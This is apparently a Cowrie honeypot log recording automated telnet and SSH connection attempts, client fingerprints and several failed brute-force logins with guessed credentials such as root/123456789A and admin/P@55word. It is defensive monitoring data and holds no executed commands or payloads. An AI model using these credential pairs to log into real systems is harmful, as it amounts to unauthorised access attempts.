{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37308,"dst_ip":"159.203.135.109","dst_port":23,"session":"202469b3663b","protocol":"telnet","message":"New connection: 161.132.53.68:37308 (159.203.135.109:23) [session: 202469b3663b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:17.620336Z"}
{"eventid":"cowrie.session.closed","duration":31.076519012451172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:17.836995Z","src_ip":"161.132.53.68","session":"b327af85a966","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37318,"dst_ip":"159.203.135.109","dst_port":23,"session":"231410faad31","protocol":"telnet","message":"New connection: 161.132.53.68:37318 (159.203.135.109:23) [session: 231410faad31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:18.221559Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":37296,"dst_ip":"159.203.135.109","dst_port":22,"session":"869322adba66","protocol":"ssh","message":"New connection: 223.17.5.126:37296 (159.203.135.109:22) [session: 869322adba66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:19.776325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:19.781959Z","src_ip":"223.17.5.126","session":"869322adba66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:20.001836Z","src_ip":"223.17.5.126","session":"869322adba66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789A","message":"login attempt [root/123456789A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:20.897871Z","src_ip":"223.17.5.126","session":"869322adba66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.130995988845825,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:21.164076Z","src_ip":"161.132.53.68","session":"d387a945404e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:22.118828Z","src_ip":"223.17.5.126","session":"869322adba66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.872079610824585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:24.567725Z","src_ip":"104.245.105.2","session":"9b42500eb81b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37322,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac0a15eecc3c","protocol":"telnet","message":"New connection: 161.132.53.68:37322 (159.203.135.109:23) [session: ac0a15eecc3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:26.163974Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37334,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5452a0b7bf","protocol":"telnet","message":"New connection: 161.132.53.68:37334 (159.203.135.109:23) [session: cd5452a0b7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:26.463952Z"}
{"eventid":"cowrie.session.closed","duration":34.33480501174927,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:27.031948Z","src_ip":"161.132.53.68","session":"84577bd71f79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.970980405807495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:27.852552Z","src_ip":"192.119.108.58","session":"04de9b2dfafa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41358,"dst_ip":"159.203.135.109","dst_port":23,"session":"900481c6b751","protocol":"telnet","message":"New connection: 192.119.108.58:41358 (159.203.135.109:23) [session: 900481c6b751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:28.290401Z"}
{"eventid":"cowrie.session.closed","duration":32.09640622138977,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:28.642769Z","src_ip":"161.132.53.68","session":"c68191b30957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48462,"dst_ip":"159.203.135.109","dst_port":23,"session":"d82482eaad79","protocol":"telnet","message":"New connection: 161.132.53.68:48462 (159.203.135.109:23) [session: d82482eaad79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:28.801207Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":54994,"dst_ip":"10.17.0.5","dst_port":22,"session":"22a61697e5ac","protocol":"ssh","message":"New connection: 114.35.59.237:54994 (10.17.0.5:22) [session: 22a61697e5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:30.410134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:30.414885Z","src_ip":"114.35.59.237","session":"22a61697e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42630,"dst_ip":"159.203.135.109","dst_port":23,"session":"007e3d7dd764","protocol":"telnet","message":"New connection: 192.119.108.58:42630 (159.203.135.109:23) [session: 007e3d7dd764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:30.425315Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:30.633214Z","src_ip":"114.35.59.237","session":"22a61697e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.38467860221863,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:30.929610Z","src_ip":"161.132.53.68","session":"48c1c23ddc76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48474,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aa86bf52ef0","protocol":"telnet","message":"New connection: 161.132.53.68:48474 (159.203.135.109:23) [session: 2aa86bf52ef0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:31.016261Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"password@123","message":"login attempt [test/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:31.530273Z","src_ip":"114.35.59.237","session":"22a61697e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.355703830718994,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:31.819232Z","src_ip":"161.132.53.68","session":"5a48b3ba7faa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.960549116134644,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:32.376994Z","src_ip":"161.132.53.68","session":"cdcb54766da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":48478,"dst_ip":"159.203.135.109","dst_port":23,"session":"8650f93491ea","protocol":"telnet","message":"New connection: 161.132.53.68:48478 (159.203.135.109:23) [session: 8650f93491ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:32.576224Z"}
{"eventid":"cowrie.session.closed","duration":32.25108790397644,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:32.642381Z","src_ip":"161.132.53.68","session":"20a9990ed712","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:32.748605Z","src_ip":"114.35.59.237","session":"22a61697e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.138444900512695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:33.457418Z","src_ip":"161.132.53.68","session":"aa0390f16310","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.005555629730225,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:33.619669Z","src_ip":"161.132.53.68","session":"ee623d63a5f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":46246,"dst_ip":"159.203.135.109","dst_port":23,"session":"31b7c5bb1181","protocol":"telnet","message":"New connection: 161.132.53.68:46246 (159.203.135.109:23) [session: 31b7c5bb1181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:38.416244Z"}
{"eventid":"cowrie.session.closed","duration":32.537291288375854,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:38.760481Z","src_ip":"161.132.53.68","session":"a443be928054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.525334358215332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:41.090854Z","src_ip":"161.132.53.68","session":"38a323bc739c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.395155906677246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:45.837588Z","src_ip":"161.132.53.68","session":"d79b68473b16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830872774124146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:48.146976Z","src_ip":"161.132.53.68","session":"1ccace44bf10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.337165594100952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:48.957315Z","src_ip":"161.132.53.68","session":"202469b3663b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.823713302612305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:50.045081Z","src_ip":"161.132.53.68","session":"231410faad31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":57990,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bc611a1e748","protocol":"ssh","message":"New connection: 124.18.182.99:57990 (10.17.0.5:22) [session: 3bc611a1e748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:50.405302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:50.410395Z","src_ip":"124.18.182.99","session":"3bc611a1e748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:50.582328Z","src_ip":"124.18.182.99","session":"3bc611a1e748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf","message":"login attempt [ubuntu/asdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:51.296902Z","src_ip":"124.18.182.99","session":"3bc611a1e748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:52.471673Z","src_ip":"124.18.182.99","session":"3bc611a1e748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":38186,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8362b4f78f3","protocol":"ssh","message":"New connection: 200.105.172.184:38186 (159.203.135.109:22) [session: f8362b4f78f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:53.170500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:53.175483Z","src_ip":"200.105.172.184","session":"f8362b4f78f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:53.300618Z","src_ip":"200.105.172.184","session":"f8362b4f78f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33598,"dst_ip":"159.203.135.109","dst_port":23,"session":"487b104f97db","protocol":"telnet","message":"New connection: 161.132.53.68:33598 (159.203.135.109:23) [session: 487b104f97db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:53.310210Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@55word","message":"login attempt [admin/P@55word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:53.822178Z","src_ip":"200.105.172.184","session":"f8362b4f78f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:54.948968Z","src_ip":"200.105.172.184","session":"f8362b4f78f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.827773571014404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:57.991650Z","src_ip":"161.132.53.68","session":"ac0a15eecc3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.920459985733032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:58.384259Z","src_ip":"161.132.53.68","session":"cd5452a0b7bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53626,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a5efd29be7f","protocol":"telnet","message":"New connection: 161.132.53.68:53626 (159.203.135.109:23) [session: 0a5efd29be7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:58.698936Z"}
{"eventid":"cowrie.session.closed","duration":30.92411231994629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:25:59.214360Z","src_ip":"192.119.108.58","session":"900481c6b751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.514182329177856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:01.315259Z","src_ip":"161.132.53.68","session":"d82482eaad79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28209662437439,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:01.707242Z","src_ip":"192.119.108.58","session":"007e3d7dd764","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53632,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c4ebd1e369","protocol":"telnet","message":"New connection: 161.132.53.68:53632 (159.203.135.109:23) [session: 68c4ebd1e369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:02.304737Z"}
{"eventid":"cowrie.session.closed","duration":30.88923692703247,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:03.465266Z","src_ip":"161.132.53.68","session":"8650f93491ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57126,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b2ae81e5b62","protocol":"telnet","message":"New connection: 192.119.108.58:57126 (159.203.135.109:23) [session: 3b2ae81e5b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:04.046868Z"}
{"eventid":"cowrie.session.closed","duration":33.57974290847778,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:04.595811Z","src_ip":"161.132.53.68","session":"2aa86bf52ef0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":53814,"dst_ip":"10.17.0.5","dst_port":22,"session":"900c052ea4cf","protocol":"ssh","message":"New connection: 220.119.37.141:53814 (10.17.0.5:22) [session: 900c052ea4cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:04.983948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:04.989156Z","src_ip":"220.119.37.141","session":"900c052ea4cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53646,"dst_ip":"159.203.135.109","dst_port":23,"session":"efbca66c684c","protocol":"telnet","message":"New connection: 161.132.53.68:53646 (159.203.135.109:23) [session: efbca66c684c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:05.031991Z"}
